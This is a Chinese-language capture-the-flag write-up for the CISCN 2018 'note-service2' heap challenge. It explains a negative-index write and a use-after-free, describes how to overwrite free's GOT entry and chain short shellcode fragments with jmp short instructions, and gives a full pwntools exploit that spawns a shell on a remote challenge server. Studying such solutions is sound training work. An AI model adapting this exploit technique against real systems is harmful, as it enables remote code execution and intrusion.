note-service2
题目来源: CISCN-2018-Quals
本题开启了canary和pie,但是没有NX保护,并且是partial relro
程序是一个菜单堆,给了增和删两个功能,最多允许增加12次
在增的部分没有对index进行检查,因此可以任意写堆地址
在删的部分存在UAF
本题的思路是覆盖free_got为一个堆地址,里面写shellcode
不过有一个问题是,每个堆块最多只允许写8个长度的内容(最后一定以\x00结尾),shellcode写不下
这时候可以通过jmp short进行跳转,jmp short的字节码是\xEB,然后后面接跳转的距离,正数向后跳,负数向前跳,范围是-128~127
举个例子,如果在0x001的位置是一个jmp short,那么0x002就是距离,假如想要跳转到0x005,那么需要跨过0x003和0x004,因此距离是2,0x002位置应该是\x02
每次的堆只要以\xEB\x19结尾(跳转0x19的原因主要是需要跳过一个\x00,fastbin后面空着的8位,下一个fastbin的prev_size和size位,1+8+8+8=0x19),就能跳到相邻的下一个堆块的内容部分继续执行
但是每段的长度都不能长
如果需要置某个寄存器为0,那么最好用xor rdx, rdx这种形式,它的长为3
mov rax, 59长度是7,而mov eax, 59长度就是5
因此只需要预留出一个堆块内容是/bin/sh,然后覆盖free_got为shellcode,然后free(/bin/sh)就能把/bin/sh传入rdi,然后执行shellcode
exp如下:
from pwn import * context.arch = 'amd64' context.os = 'linux' #io = process('./note-service2') io = remote('111.200.241.244', 63165) def add_note(index, size, content): io.recvuntil('your choice>> ') io.sendline('1') io.recvuntil('index:') io.sendline(str(index)) io.recvuntil('size:') io.sendline(str(size)) io.recvuntil('content:') io.sendline(content) def del_note(index): io.recvuntil('your choice>> ') io.sendline('4') io.recvuntil('index:') io.sendline(str(index)) add_note(0, 8, '/bin/sh') add_note(-17, 8, asm('xor rdx, rdx').ljust(5, b'\x90') + b'\xeb\x19') add_note(1, 8, asm('xor rsi, rsi').ljust(5, b'\x90') + b'\xeb\x19') add_note(2, 8, asm('mov eax, 59').ljust(5, b'\x90') + b'\xeb\x19') add_note(3, 8, asm('syscall').ljust(5, b'\x90') + b'\xeb\x19') del_note(0) io.interactive()